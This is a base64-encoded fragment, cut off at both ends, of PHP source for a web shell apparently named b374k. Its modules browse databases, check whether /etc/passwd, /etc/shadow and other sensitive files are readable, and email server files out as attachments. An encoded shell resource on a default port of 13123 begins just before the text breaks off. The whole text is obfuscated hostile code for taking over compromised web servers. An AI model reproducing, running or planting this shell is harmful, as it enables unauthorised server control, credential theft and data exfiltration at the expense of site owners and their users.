c3BhbiBjbGFzcz0nc3Ryb25nJz5dPC9zcGFuPjwvcD4iOyBpZighZW1wdHkoJHBhZ2luYXRpb24pKXsgJHJlcyAuPSAiPHA+Ii4kcGFnaW5hdGlvbi4iPC9wPiI7IH0gaWYoIWlzX2Jvb2woJHF1ZXJ5X3F1ZXJ5KSl7ICRyZXMgLj0gIjx0YWJsZSBjbGFzcz0nYm9yZGVyIGRhdGFWaWV3IHNvcnRhYmxlIHRibFJlc3VsdCc+PHRyPiI7IGZvcigkaSA9IDA7ICRpIDwgc3FsX251bV9maWVsZHMoJHR5cGUsICRxdWVyeV9xdWVyeSk7ICRpKyspICRyZXMgLj0gIjx0aD4iLmh0bWxfc2FmZShzcWxfZmllbGRfbmFtZSgkdHlwZSwgJHF1ZXJ5X3F1ZXJ5LCAkaSkpLiI8L3RoPiI7ICRyZXMgLj0gIjwvdHI+Ijsgd2hpbGUoJHJvd3MgPSBzcWxfZmV0Y2hfZGF0YSgkdHlwZSwgJHF1ZXJ5X3F1ZXJ5KSl7ICRyZXMgLj0gIjx0cj4iOyBmb3JlYWNoKCRyb3dzIGFzICRyKXsgaWYoZW1wdHkoJHIpKSAkciA9ICIgIjsgJHJlcyAuPSAiPHRkPiIuaHRtbF9zYWZlKCRyKS4iPC90ZD4iOyB9ICRyZXMgLj0gIjwvdHI+IjsgfSAkcmVzIC49ICI8L3RhYmxlPiI7IH0gfSBlbHNleyAkcmVzIC49ICI8cD4iLmh0bWxfc2FmZSgkcXVlcnkpLiI7Jm5ic3A7Jm5ic3A7Jm5ic3A7PHNwYW4gY2xhc3M9J3N0cm9uZyc+Wzwvc3Bhbj4gZXJyb3IgPHNwYW4gY2xhc3M9J3N0cm9uZyc+XTwvc3Bhbj48L3A+IjsgfSB9IH0gfSBlbHNleyBpZigoJHR5cGUhPSdwZG8nKSAmJiAoJHR5cGUhPSdvZGJjJykpeyBpZigkdHlwZT09J215c3FsJykgJHNob3dkYiA9ICJTSE9XIERBVEFCQVNFUyI7IGVsc2VpZigkdHlwZT09J21zc3FsJykgJHNob3dkYiA9ICJTRUxFQ1QgbmFtZSBGUk9NIG1hc3Rlci4uc3lzZGF0YWJhc2VzIjsgZWxzZWlmKCR0eXBlPT0ncGdzcWwnKSAkc2hvd2RiID0gIlNFTEVDVCBzY2hlbWFfbmFtZSBGUk9NIGluZm9ybWF0aW9uX3NjaGVtYS5zY2hlbWF0YSI7IGVsc2VpZigkdHlwZT09J29yYWNsZScpICRzaG93ZGIgPSAiU0VMRUNUIFVTRVJOQU1FIEZST00gU1lTLkFMTF9VU0VSUyBPUkRFUiBCWSBVU0VSTkFNRSI7IGVsc2VpZigoJHR5cGU9PSdzcWxpdGUzJykgfHwgKCR0eXBlPT0nc3FsaXRlJykpICRzaG93ZGIgPSAiU0VMRUNUIFwiIi4kaG9zdC4iXCIiOyBlbHNlICRzaG93ZGIgPSAiU0hPVyBEQVRBQkFTRVMiOyAkcXVlcnlfZGIgPSBzcWxfcXVlcnkoJHR5cGUsICRzaG93ZGIsICRjb24pOyBpZigkcXVlcnlfZGIhPWZhbHNlKSB7IHdoaWxlKCRkYl9hcnIgPSBzcWxfZmV0Y2hfZGF0YSgkdHlwZSwgJHF1ZXJ5X2RiKSl7IGZvcmVhY2goJGRiX2FyciBhcyAkZGIpeyBpZigkdHlwZT09J215c3FsJykgJHNob3d0YmwgPSAiU0hPVyBUQUJMRVMgRlJPTSAiLiRkYjsgZWxzZWlmKCR0eXBlPT0nbXNzcWwnKSAkc2hvd3RibCA9ICJTRUxFQ1QgbmFtZSBGUk9NICIuJGRiLiIuLnN5c29iamVjdHMgV0hFUkUgeHR5cGUgPSAnVSciOyBlbHNlaWYoJHR5cGU9PSdwZ3NxbCcpICRzaG93dGJsID0gIlNFTEVDVCB0YWJsZV9uYW1lIEZST00gaW5mb3JtYXRpb25fc2NoZW1hLnRhYmxlcyBXSEVSRSB0YWJsZV9zY2hlbWE9JyIuJGRiLiInIjsgZWxzZWlmKCR0eXBlPT0nb3JhY2xlJykgJHNob3d0YmwgPSAiU0VMRUNUIFRBQkxFX05BTUUgRlJPTSBTWVMuQUxMX1RBQkxFUyBXSEVSRSBPV05FUj0nIi4kZGIuIiciOyBlbHNlaWYoKCR0eXBlPT0nc3FsaXRlMycpIHx8ICgkdHlwZT09J3NxbGl0ZScpKSAkc2hvd3RibCA9ICJTRUxFQ1QgbmFtZSBGUk9NIHNxbGl0ZV9tYXN0ZXIgV0hFUkUgdHlwZT0ndGFibGUnIjsgZWxzZSAkc2hvd3RibCA9ICIiOyAkcmVzIC49ICI8cCBjbGFzcz0nYm94dGl0bGUgYm94TmF2JyBzdHlsZT0ncGFkZGluZzo4cHggMzJweDttYXJnaW4tYm90dG9tOjRweDsnPiIuJGRiLiI8L3A+PHRhYmxlIGNsYXNzPSdib3JkZXInIHN0eWxlPSdkaXNwbGF5Om5vbmU7bWFyZ2luOjhweCAwOyc+IjsgJHF1ZXJ5X3RhYmxlID0gc3FsX3F1ZXJ5KCR0eXBlLCAkc2hvd3RibCwgJGNvbik7IGlmKCRxdWVyeV90YWJsZSE9ZmFsc2UpeyB3aGlsZSgkdGFibGVzX2FyciA9IHNxbF9mZXRjaF9kYXRhKCR0eXBlLCAkcXVlcnlfdGFibGUpKXsgZm9yZWFjaCgkdGFibGVzX2FyciBhcyAkdGFibGUpICRyZXMgLj0gIjx0cj48dGQgY2xhc3M9J2RiVGFibGUgYm9yZGVyYm90dG9tJyBzdHlsZT0nY3Vyc29yOnBvaW50ZXI7Jz4iLiR0YWJsZS4iPC90ZD48L3RyPiI7IH0gfSAkcmVzIC49ICI8L3RhYmxlPiI7IH0gfSB9IH0gfSB9IGlmKCFlbXB0eSgkcmVzKSkgb3V0cHV0KCRyZXMpOyBvdXRwdXQoJ2Vycm9yJyk7Cn0gPz48P3BocAokR0xPQkFMU1snbW9kdWxlJ11bJ2luZm8nXVsnaWQnXSA9ICJpbmZvIjsKJEdMT0JBTFNbJ21vZHVsZSddWydpbmZvJ11bJ3RpdGxlJ10gPSAiSW5mbyI7CiRHTE9CQUxTWydtb2R1bGUnXVsnaW5mbyddWydqc19vbnRhYnNlbGVjdGVkJ10gPSAiIjsKJEdMT0JBTFNbJ21vZHVsZSddWydpbmZvJ11bJ2NvbnRlbnQnXSA9ICI8ZGl2IGNsYXNzPSdib3JkZXIgaW5mb1Jlc3VsdCc+PC9kaXY+IjsgaWYoIWZ1bmN0aW9uX2V4aXN0cygnaW5mb19nZXRpbmZvJykpeyBmdW5jdGlvbiBpbmZvX2dldGluZm8oKXsgJHJlcyA9ICIiOyAkcmVzIC49ICI8cCBjbGFzcz0nYm94dGl0bGUnIG9uY2xpY2s9XCJpbmZvX3RvZ2dsZSgnaW5mb19zZXJ2ZXInKTtcIiBzdHlsZT0nbWFyZ2luLWJvdHRvbTo4cHg7Jz5TZXJ2ZXIgSW5mbzwvcD4iOyAkcmVzIC49ICI8ZGl2IGlkPSdpbmZvX3NlcnZlcicgc3R5bGU9J21hcmdpbi1ib3R0b206OHB4O2Rpc3BsYXk6bm9uZTsnPjx0YWJsZSBjbGFzcz0nZGF0YVZpZXcnPiI7IGlmKGlzX3dpbigpKXsgZm9yZWFjaCAocmFuZ2UoIkEiLCAiWiIpIGFzICRsZXR0ZXIpeyBpZihpc19yZWFkYWJsZSgkbGV0dGVyLiI6XFwiKSl7ICRkcml2ZSA9ICRsZXR0ZXIuIjoiOyAkcmVzIC49ICI8dHI+PHRkPmRyaXZlICIuJGRyaXZlLiI8L3RkPjx0ZD4iLmZvcm1hdF9iaXQoQGRpc2tfZnJlZV9zcGFjZSgkZHJpdmUpKS4iIGZyZWUgb2YgIi5mb3JtYXRfYml0KEBkaXNrX3RvdGFsX3NwYWNlKCRkcml2ZSkpLiI8L3RkPjwvdHI+IjsgfSB9IH0gZWxzZSAkcmVzIC49ICI8dHI+PHRkPnJvb3QgcGFydGl0aW9uPC90ZD48dGQ+Ii5mb3JtYXRfYml0KEBkaXNrX2ZyZWVfc3BhY2UoIi8iKSkuIiBmcmVlIG9mICIuZm9ybWF0X2JpdChAZGlza190b3RhbF9zcGFjZSgiLyIpKS4iPC90ZD48L3RyPiI7ICRyZXMgLj0gIjx0cj48dGQ+cGhwPC90ZD48dGQ+Ii5waHB2ZXJzaW9uKCkuIjwvdGQ+PC90cj4iOyAkYWNjZXNzID0gYXJyYXkoInB5dGhvbiI9PiJweXRob24gLVYiLCAicGVybCI9PiJwZXJsIC1lIFwicHJpbnQgXCRdXCIiLCAicHl0aG9uIj0+InB5dGhvbiAtViIsICJydWJ5Ij0+InJ1YnkgLXYiLCAibm9kZSI9PiJub2RlIC12IiwgIm5vZGVqcyI9PiJub2RlanMgLXYiLCAiZ2NjIj0+ImdjYyAtZHVtcHZlcnNpb24iLCAiamF2YSI9PiJqYXZhIC12ZXJzaW9uIiwgImphdmFjIj0+ImphdmFjIC12ZXJzaW9uIiApOyBmb3JlYWNoKCRhY2Nlc3MgYXMgJGs9PiR2KXsgJHZlcnNpb24gPSBleGVjdXRlKCR2KTsgJHZlcnNpb24gPSBleHBsb2RlKCJcbiIsICR2ZXJzaW9uKTsgaWYoJHZlcnNpb25bMF0pICR2ZXJzaW9uID0gJHZlcnNpb25bMF07IGVsc2UgJHZlcnNpb24gPSAiPyI7ICRyZXMgLj0gIjx0cj48dGQ+Ii4kay4iPC90ZD48dGQ+Ii4kdmVyc2lvbi4iPC90ZD48L3RyPiI7IH0gaWYoIWlzX3dpbigpKXsgJGludGVyZXN0aW5nID0gYXJyYXkoICIvZXRjL29zLXJlbGVhc2UiLCAiL2V0Yy9wYXNzd2QiLCAiL2V0Yy9zaGFkb3ciLCAiL2V0Yy9ncm91cCIsICIvZXRjL2lzc3VlIiwgIi9ldGMvaXNzdWUubmV0IiwgIi9ldGMvbW90ZCIsICIvZXRjL3N1ZG9lcnMiLCAiL2V0Yy9ob3N0cyIsICIvZXRjL2FsaWFzZXMiLCAiL3Byb2MvdmVyc2lvbiIsICIvZXRjL3Jlc29sdi5jb25mIiwgIi9ldGMvc3lzY3RsLmNvbmYiLCAiL2V0Yy9uYW1lZC5jb25mIiwgIi9ldGMvbmV0d29yay9pbnRlcmZhY2VzIiwgIi9ldGMvc3F1aWQvc3F1aWQuY29uZiIsICIvdXNyL2xvY2FsL3NxdWlkL2V0Yy9zcXVpZC5jb25mIiwgIi9ldGMvc3NoL3NzaGRfY29uZmlnIiwgIi9ldGMvaHR0cGQvY29uZi9odHRwZC5jb25mIiwgIi91c3IvbG9jYWwvYXBhY2hlMi9jb25mL2h0dHBkLmNvbmYiLCAiIC9ldGMvYXBhY2hlMi9hcGFjaGUyLmNvbmYiLCAiL2V0Yy9hcGFjaGUyL2h0dHBkLmNvbmYiLCAiL3Vzci9wa2cvZXRjL2h0dHBkL2h0dHBkLmNvbmYiLCAiL3Vzci9sb2NhbC9ldGMvYXBhY2hlMjIvaHR0cGQuY29uZiIsICIvdXNyL2xvY2FsL2V0Yy9hcGFjaGUyL2h0dHBkLmNvbmYiLCAiL3Zhci93d3cvY29uZi9odHRwZC5jb25mIiwgIi9ldGMvYXBhY2hlMi9odHRwZDIuY29uZiIsICIvZXRjL2h0dHBkL2h0dHBkLmNvbmYiLCAiL2V0Yy9saWdodHRwZC9saWdodHRwZC5jb25mIiwgIi9ldGMvbmdpbngvbmdpbnguY29uZiIsICIvZXRjL2ZzdGFiIiwgIi9ldGMvbXRhYiIsICIvZXRjL2Nyb250YWIiLCAiL2V0Yy9pbml0dGFiIiwgIi9ldGMvbW9kdWxlcy5jb25mIiwgIi9ldGMvbW9kdWxlcyIpOyBmb3JlYWNoKCRpbnRlcmVzdGluZyBhcyAkZil7IGlmKEBpc19maWxlKCRmKSAmJiBAaXNfcmVhZGFibGUoJGYpKSAkcmVzIC49ICI8dHI+PHRkPiIuJGYuIjwvdGQ+PHRkPjxhIGRhdGEtcGF0aD0nIi5odG1sX3NhZmUoJGYpLiInIG9uY2xpY2s9J3ZpZXdfZW50cnkodGhpcyk7Jz4iLiRmLiIgaXMgcmVhZGFibGU8L2E+PC90ZD48L3RyPiI7IH0gfSAkcmVzIC49ICI8L3RhYmxlPjwvZGl2PiI7IGlmKCFpc193aW4oKSl7IGlmKCRpX2J1ZmY9dHJpbShyZWFkX2ZpbGUoIi9wcm9jL2NwdWluZm8iKSkpeyAkcmVzIC49ICI8cCBjbGFzcz0nYm94dGl0bGUnIG9uY2xpY2s9XCJpbmZvX3RvZ2dsZSgnaW5mb19jcHUnKTtcIiBzdHlsZT0nbWFyZ2luLWJvdHRvbTo4cHg7Jz5DUFUgSW5mbzwvcD4iOyAkcmVzIC49ICI8ZGl2IGNsYXNzPSdpbmZvJyBpZD0naW5mb19jcHUnIHN0eWxlPSdtYXJnaW4tYm90dG9tOjhweDtkaXNwbGF5Om5vbmU7Jz4iOyAkaV9idWZmcyA9IGV4cGxvZGUoIlxuXG4iLCAkaV9idWZmKTsgZm9yZWFjaCgkaV9idWZmcyBhcyAkaV9idWZmc3MpeyAkaV9idWZmc3MgPSB0cmltKCRpX2J1ZmZzcyk7IGlmKCRpX2J1ZmZzcyE9IiIpeyAkaV9idWZmc3NzID0gZXhwbG9kZSgiXG4iLCAkaV9idWZmc3MpOyAkcmVzIC49ICI8dGFibGUgY2xhc3M9J2RhdGFWaWV3Jz4iOyBmb3JlYWNoKCRpX2J1ZmZzc3MgYXMgJGkpeyAkaSA9IHRyaW0oJGkpOyBpZigkaSE9IiIpeyAkaWkgPSBleHBsb2RlKCI6IiwkaSk7IGlmKGNvdW50KCRpaSk9PTIpICRyZXMgLj0gIjx0cj48dGQ+Ii4kaWlbMF0uIjwvdGQ+PHRkPiIuJGlpWzFdLiI8L3RkPjwvdHI+IjsgfSB9ICRyZXMgLj0gIjwvdGFibGU+IjsgfSB9ICRyZXMgLj0gIjwvZGl2PiI7IH0gaWYoJGlfYnVmZj10cmltKHJlYWRfZmlsZSgiL3Byb2MvbWVtaW5mbyIpKSl7ICRyZXMgLj0gIjxwIGNsYXNzPSdib3h0aXRsZScgb25jbGljaz1cImluZm9fdG9nZ2xlKCdpbmZvX21lbScpO1wiIHN0eWxlPSdtYXJnaW4tYm90dG9tOjhweDsnPk1lbW9yeSBJbmZvPC9wPiI7ICRpX2J1ZmZzID0gZXhwbG9kZSgiXG4iLCAkaV9idWZmKTsgJHJlcyAuPSAiPGRpdiBjbGFzcz0naW5mbycgaWQ9J2luZm9fbWVtJyBzdHlsZT0nbWFyZ2luLWJvdHRvbTo4cHg7ZGlzcGxheTpub25lOyc+PHRhYmxlIGNsYXNzPSdkYXRhVmlldyc+IjsgZm9yZWFjaCgkaV9idWZmcyBhcyAkaSl7ICRpID0gdHJpbSgkaSk7IGlmKCRpIT0iIil7ICRpaSA9IGV4cGxvZGUoIjoiLCRpKTsgaWYoY291bnQoJGlpKT09MikgJHJlcyAuPSAiPHRyPjx0ZD4iLiRpaVswXS4iPC90ZD48dGQ+Ii4kaWlbMV0uIjwvdGQ+PC90cj4iOyB9IGVsc2UgJHJlcyAuPSAiPC90YWJsZT48dGFibGUgY2xhc3M9J2RhdGFWaWV3Jz4iOyB9ICRyZXMgLj0gIjwvdGFibGU+PC9kaXY+IjsgfSBpZigkaV9idWZmPXRyaW0ocmVhZF9maWxlKCIvcHJvYy9wYXJ0aXRpb25zIikpKXsgJGlfYnVmZiA9IHByZWdfcmVwbGFjZSgiL1wgKy8iLCAiICIsICRpX2J1ZmYpOyAkcmVzIC49ICI8cCBjbGFzcz0nYm94dGl0bGUnIG9uY2xpY2s9XCJpbmZvX3RvZ2dsZSgnaW5mb19wYXJ0Jyk7XCIgc3R5bGU9J21hcmdpbi1ib3R0b206OHB4Oyc+UGFydGl0aW9ucyBJbmZvPC9wPiI7ICRyZXMgLj0gIjxkaXYgY2xhc3M9J2luZm8nIGlkPSdpbmZvX3BhcnQnIHN0eWxlPSdtYXJnaW4tYm90dG9tOjhweDtkaXNwbGF5Om5vbmU7Jz4iOyAkaV9idWZmcyA9IGV4cGxvZGUoIlxuXG4iLCAkaV9idWZmKTsgJHJlcyAuPSAiPHRhYmxlIGNsYXNzPSdkYXRhVmlldyc+PHRyPiI7ICRpX2hlYWQgPSBleHBsb2RlKCIgIiwgJGlfYnVmZnNbMF0pOyBmb3JlYWNoKCRpX2hlYWQgYXMgJGgpICRyZXMgLj0gIjx0aD4iLiRoLiI8L3RoPiI7ICRyZXMgLj0gIjwvdHI+IjsgJGlfYnVmZnNzID0gZXhwbG9kZSgiXG4iLCAkaV9idWZmc1sxXSk7IGZvcmVhY2goJGlfYnVmZnNzIGFzICRpX2IpeyAkaV9yb3cgPSBleHBsb2RlKCIgIiwgdHJpbSgkaV9iKSk7ICRyZXMgLj0gIjx0cj4iOyBmb3JlYWNoKCRpX3JvdyBhcyAkcikgJHJlcyAuPSAiPHRkIHN0eWxlPSd0ZXh0LWFsaWduOmNlbnRlcjsnPiIuJHIuIjwvdGQ+IjsgJHJlcyAuPSAiPC90cj4iOyB9ICRyZXMgLj0gIjwvdGFibGU+IjsgJHJlcyAuPSAiPC9kaXY+IjsgfSB9ICRwaHBpbmZvID0gYXJyYXkoIlBIUCBHZW5lcmFsIiA9PiBJTkZPX0dFTkVSQUwsICJQSFAgQ29uZmlndXJhdGlvbiIgPT4gSU5GT19DT05GSUdVUkFUSU9OLCAiUEhQIE1vZHVsZXMiID0+IElORk9fTU9EVUxFUywgIlBIUCBFbnZpcm9ubWVudCIgPT4gSU5GT19FTlZJUk9OTUVOVCwgIlBIUCBWYXJpYWJsZXMiID0+IElORk9fVkFSSUFCTEVTKTsgZm9yZWFjaCgkcGhwaW5mbyBhcyAkcD0+JGkpeyAkcmVzIC49ICI8cCBjbGFzcz0nYm94dGl0bGUnIG9uY2xpY2s9XCJpbmZvX3RvZ2dsZSgnIi4kaS4iJyk7XCIgc3R5bGU9J21hcmdpbi1ib3R0b206OHB4Oyc+Ii4kcC4iPC9wPiI7IG9iX3N0YXJ0KCk7IGV2YWwoInBocGluZm8oIi4kaS4iKTsiKTsgJGIgPSBvYl9nZXRfY29udGVudHMoKTsgb2JfZW5kX2NsZWFuKCk7IGlmKHByZWdfbWF0Y2goIi88Ym9keT4oLio/KTxcL2JvZHk+L2lzIiwgJGIsICRyKSl7ICRib2R5ID0gc3RyX3JlcGxhY2UoYXJyYXkoIiwiLCAiOyIsICImYW1wOyIpLCBhcnJheSgiLCAiLCAiOyAiLCAiJiIpLCAkclsxXSk7ICRib2R5ID0gc3RyX3JlcGxhY2UoIjx0YWJsZSIsICI8dGFibGUgY2xhc3M9J2JveHRibCcgIiwgJGJvZHkpOyAkYm9keSA9IHByZWdfcmVwbGFjZSgiLzx0ciBjbGFzcz1cImhcIj4oLio/KTxcL3RyPi8iLCAiIiwgJGJvZHkpOyAkYm9keSA9IHByZWdfcmVwbGFjZSgiLzxhIGhyZWY9XCJodHRwOlwvXC93d3cucGhwLm5ldFwvKC4qPyk8XC9hPi8iLCAiIiwgJGJvZHkpOyAkYm9keSA9IHByZWdfcmVwbGFjZSgiLzxhIGhyZWY9XCJodHRwOlwvXC93d3cuemVuZC5jb21cLyguKj8pPFwvYT4vIiwgIiIsICRib2R5KTsgJHJlcyAuPSAiPGRpdiBjbGFzcz0naW5mbycgaWQ9JyIuJGkuIicgc3R5bGU9J21hcmdpbi1ib3R0b206OHB4O2Rpc3BsYXk6bm9uZTsnPiIuJGJvZHkuIjwvZGl2PiI7IH0gfSAkcmVzIC49ICI8c3BhbiBjbGFzcz0nYnV0dG9uIGNvbFNwYW4nIG9uY2xpY2s9XCJpbmZvX3JlZnJlc2goKTtcIiBzdHlsZT0nbWFyZ2luLWJvdHRvbTo4cHg7Jz5yZWZyZXNoPC9zcGFuPjxkaXYgc3R5bGU9J2NsZWFyOmJvdGg7Jz48L2Rpdj4iOyByZXR1cm4gJHJlczsgfQp9IGlmKGlzc2V0KCRwWydpbmZvUmVmcmVzaCddKSl7IG91dHB1dChpbmZvX2dldGluZm8oKSk7Cn0gPz48P3BocAokR0xPQkFMU1snbW9kdWxlJ11bJ21haWwnXVsnaWQnXSA9ICJtYWlsIjsKJEdMT0JBTFNbJ21vZHVsZSddWydtYWlsJ11bJ3RpdGxlJ10gPSAiTWFpbCI7CiRHTE9CQUxTWydtb2R1bGUnXVsnbWFpbCddWydqc19vbnRhYnNlbGVjdGVkJ10gPSAiaWYoIXBvcnRhYmxlTW9kZSkgJCgnI21haWxGcm9tJykuZm9jdXMoKTsiOwokR0xPQkFMU1snbW9kdWxlJ11bJ21haWwnXVsnY29udGVudCddID0gIgo8dGFibGUgY2xhc3M9J2JveHRibCc+Cjx0aGVhZD4gPHRyPjx0aCBjb2xzcGFuPScyJz48cCBjbGFzcz0nYm94dGl0bGUnPk1haWw8L3A+PC90aD48L3RyPgo8L3RoZWFkPgo8dGJvZHkgaWQ9J21haWxUQm9keSc+IDx0cj48dGQgc3R5bGU9J3dpZHRoOjEyMHB4Jz5Gcm9tPC90ZD48dGQgY29sc3Bhbj0nMic+PGlucHV0IHR5cGU9J3RleHQnIGlkPSdtYWlsRnJvbScgdmFsdWU9Jycgb25rZXlkb3duPVwidHJhcF9lbnRlcihldmVudCwgJ21haWxfc2VuZCcpO1wiPjwvdGQ+PC90cj4gPHRyPjx0ZD5UbzwvdGQ+PHRkPjxpbnB1dCB0eXBlPSd0ZXh0JyBpZD0nbWFpbFRvJyB2YWx1ZT0nJyBvbmtleWRvd249XCJ0cmFwX2VudGVyKGV2ZW50LCAnbWFpbF9zZW5kJyk7XCI+PC90ZD48L3RyPiA8dHI+PHRkPlN1YmplY3Q8L3RkPjx0ZD48aW5wdXQgdHlwZT0ndGV4dCcgaWQ9J21haWxTdWJqZWN0JyB2YWx1ZT0nJyBvbmtleWRvd249XCJ0cmFwX2VudGVyKGV2ZW50LCAnbWFpbF9zZW5kJyk7XCI+PC90ZD48L3RyPgo8L3Rib2R5Pgo8dGZvb3Q+IDx0cj48dGQgY29sc3Bhbj0nMic+PHRleHRhcmVhIGlkPSdtYWlsQ29udGVudCcgc3R5bGU9J2hlaWdodDoxNDBweDttaW4taGVpZ2h0OjE0MHB4Oyc+PC90ZXh0YXJlYT48L3RkPjwvdHI+IDx0cj4gPHRkIGNvbHNwYW49JzInPjxzcGFuIHN0eWxlPSd3aWR0aDoxMjBweDsnIGNsYXNzPSdidXR0b24nIG9uY2xpY2s9XCJtYWlsX3NlbmQoKTtcIj5zZW5kPC9zcGFuPiA8c3BhbiBzdHlsZT0nd2lkdGg6MTIwcHg7JyBjbGFzcz0nYnV0dG9uJyBvbmNsaWNrPVwibWFpbF9hdHRhY2goKTtcIj5hdHRhY2htZW50PC9zcGFuPiA8L3RkPiA8L3RyPiA8dHI+PHRkIGNvbHNwYW49JzInPjxzcGFuIGlkPSdtYWlsUmVzdWx0Jz48L3NwYW4+PC90ZD48L3RyPgo8L3Rmb290Pgo8L3RhYmxlPgoiOyBpZighZnVuY3Rpb25fZXhpc3RzKCdzZW5kX2VtYWlsJykpeyBmdW5jdGlvbiBzZW5kX2VtYWlsKCRmcm9tLCAkdG8sICRzdWJqZWN0LCAkbXNnLCAkYXR0YWNobWVudCl7ICRoZWFkZXJzID0gIk1JTUUtVmVyc2lvbjogMS4wXHJcbiIuJGZyb207ICRyYW5kID0gbWQ1KHRpbWUoKSk7ICRoZWFkZXJzIC49ICJDb250ZW50LVR5cGU6IG11bHRpcGFydC9taXhlZDsgYm91bmRhcnk9XCIiLiRyYW5kLiJcIlxyXG5cclxuIjsgJGhlYWRlcnMgLj0gIi0tIi4kcmFuZC4iXHJcbiI7ICRoZWFkZXJzIC49ICJDb250ZW50LVR5cGU6IHRleHQvaHRtbDsgY2hhcnNldD1cIlVURi04XCJcclxuQ29udGVudC1UcmFuc2Zlci1FbmNvZGluZzogOGJpdFxyXG5cclxuIjsgJGhlYWRlcnMgLj0gJG1zZy4iXHJcblxyXG4iOyBpZihjb3VudCgkYXR0YWNobWVudCk+MCl7IGZvcmVhY2goJGF0dGFjaG1lbnQgYXMgJGZpbGUpeyBpZihpc19maWxlKCRmaWxlKSl7ICRjb250ZW50ID0gY2h1bmtfc3BsaXQoYmFzZTY0X2VuY29kZShyZWFkX2ZpbGUoJGZpbGUpKSk7ICRoZWFkZXJzIC49ICItLSIuJHJhbmQuIlxyXG4iOyAkaGVhZGVycyAuPSAiQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi9vY3RldC1zdHJlYW07IG5hbWU9XCIiLmJhc2VuYW1lKCRmaWxlKS4iXCJcclxuIjsgJGhlYWRlcnMgLj0gIkNvbnRlbnQtVHJhbnNmZXItRW5jb2Rpbmc6IGJhc2U2NFxyXG4iOyAkaGVhZGVycyAuPSAiQ29udGVudC1EaXNwb3NpdGlvbjogYXR0YWNobWVudFxyXG5cclxuIjsgJGhlYWRlcnMgLj0gJGNvbnRlbnQuIlxyXG5cclxuIjsgfSB9IH0gJGhlYWRlcnMgLj0gIi0tIi4kcmFuZC4iLS1cclxuIjsgaWYoQG1haWwoJHRvLCAkc3ViamVjdCwgIiIsICRoZWFkZXJzKSkgcmV0dXJuIHRydWU7IHJldHVybiBmYWxzZTsgfQp9IGlmKGlzc2V0KCRwWydtYWlsRnJvbSddKSYmaXNzZXQoJHBbJ21haWxUbyddKSYmaXNzZXQoJHBbJ21haWxTdWJqZWN0J10pJiZpc3NldCgkcFsnbWFpbENvbnRlbnQnXSkpeyAkbWFpbEZyb20gPSB0cmltKCRwWydtYWlsRnJvbSddKTsgJG1haWxUbyA9IHRyaW0oJHBbJ21haWxUbyddKTsgJG1haWxTdWJqZWN0ID0gdHJpbSgkcFsnbWFpbFN1YmplY3QnXSk7ICRtYWlsQ29udGVudCA9IHRyaW0oJHBbJ21haWxDb250ZW50J10pOyAkbWFpbEF0dGFjaG1lbnQgPSB0cmltKCRwWydtYWlsQXR0YWNobWVudCddKTsgJG1haWxBdHRhY2htZW50ID0gKCFlbXB0eSgkbWFpbEF0dGFjaG1lbnQpKT8gZXhwbG9kZSgie1t8YjM3NGt8XX0iLCAkcFsnbWFpbEF0dGFjaG1lbnQnXSk6YXJyYXkoKTsgaWYoZW1wdHkoJG1haWxUbykpIG91dHB1dCgiUGxlYXNlIHNwZWNpZnkgYXQgbGVhc3Qgb25lIHJlY2lwaWVudCIpOyBpZighZW1wdHkoJG1haWxGcm9tKSl7ICRtYWlsRnJvbSA9ICJGcm9tOiAiLiRtYWlsRnJvbS4iXHJcblJlcGx5LVRvOiAiLiRtYWlsRnJvbS4iXHJcbiI7IH0gZm9yZWFjaCgkbWFpbEF0dGFjaG1lbnQgYXMgJGZpbGUpeyAkZmlsZSA9IHRyaW0oJGZpbGUpOyBpZihlbXB0eSgkZmlsZSkpIGNvbnRpbnVlOyBpZighaXNfZmlsZSgkZmlsZSkpIG91dHB1dCgiTm8gc3VjaCBmaWxlIDogIi4kZmlsZSk7IH0gaWYoc2VuZF9lbWFpbCgkbWFpbEZyb20sICRtYWlsVG8sICRtYWlsU3ViamVjdCwgJG1haWxDb250ZW50LCAkbWFpbEF0dGFjaG1lbnQpKSBvdXRwdXQoIk1haWwgc2VudCB0byAiLmh0bWxfc2FmZSgkbWFpbFRvKSk7IG91dHB1dCgiRmFpbGVkIHRvIHNlbmQgbWFpbCIpOwp9ID8+PD9waHAKJHNlcnZlcl9hZGRyID0gaXNzZXQoJF9TRVJWRVJbJ1NFUlZFUl9BRERSJ10pPyAkX1NFUlZFUlsnU0VSVkVSX0FERFInXTppc3NldCgkX1NFUlZFUlsiSFRUUF9IT1NUIl0pPyRfU0VSVkVSWyJIVFRQX0hPU1QiXToiIjsKJHJlbW90ZV9hZGRyID0gaXNzZXQoJF9TRVJWRVJbJ1JFTU9URV9BRERSJ10pPyAkX1NFUlZFUlsnUkVNT1RFX0FERFInXToiIjsKJGRlZmF1bHRfcG9ydCA9IDEzMTIzOwokd2luYmluYXJ5ID0gKHN0cnRvbG93ZXIoc3Vic3RyKHBocF91bmFtZSgpLDAsMykpPT0id2luIik/ICI8b3B0aW9uPmV4ZWN1dGFibGU8L29wdGlvbj4iOiIiOyAkR0xPQkFMU1sncmVzb3VyY2VzJ11bJ3JzX3BocCddID0gIjdWUk5qOXMyRUQzYnYwSlJCU3lGS3JabEZ3aXdMamVYOWxnZ2FBdjBrTjBLTWtXdENFc2l5NkZxQjkzOTd4MSt5QjhiWnpkSWcxNWFHSmJJR2M2YjRjelQrLzZ0YXRUMG02Z3hSc0gxZkg0dlRETnNaa3gyODgzcXpYZGIvNXh5cmFVdU5GZFNHOUhmazBXNm5nSTNoUkVkTDFyUkNlTk1jbE9JVHJXQ0NWUFU3UUFOUWVNME1hVys1d1lvMzZ0V1ZwekVVWndGSS9vVEJqUmZyZDdnYWxmU2ZtaGJYUEhEQ2hvYVl5QW1qbjc5OGVlZjZONXczYTNmL1pMVHE5dmszVzgvM0Z5dGd4dHQ2L2xHOUhOb290Y2l4dGlPeHE3K0NCcmV0dEYxeEdUZmMyWjRkZHVqZnlwcXd1VFFHektXbUZLYXAzOU5KNG1pd2JUR0RWWVEyN2RCT05GWHVINmM4aGI0cGZEbGVUaThYOXg1aUlNaHZ4dXhTcloxV0xhT2V1aVpFYkl2K0Y2QUFYS2xXRy9hb3BaNmU1VjZURkhSbzlGMmRvSnh6a3hmNXluR0daS2ZXTDFsRVN4S2d0Z1hPRE1RRlVuUEkzd0ZXRks0bjBzSEZJem1aVmVBWkZzY05YRDlKOWNrTmt3aFR4WXo5N3VPWjRuS0VxUkhMOTBMWTJ6Q01UUlFSQTdZSThoV3JwaUVQVUV1R2VQS0hnaWxvdGZJVnU0d0d3d2IzQkhrYURIMFpjZEptaT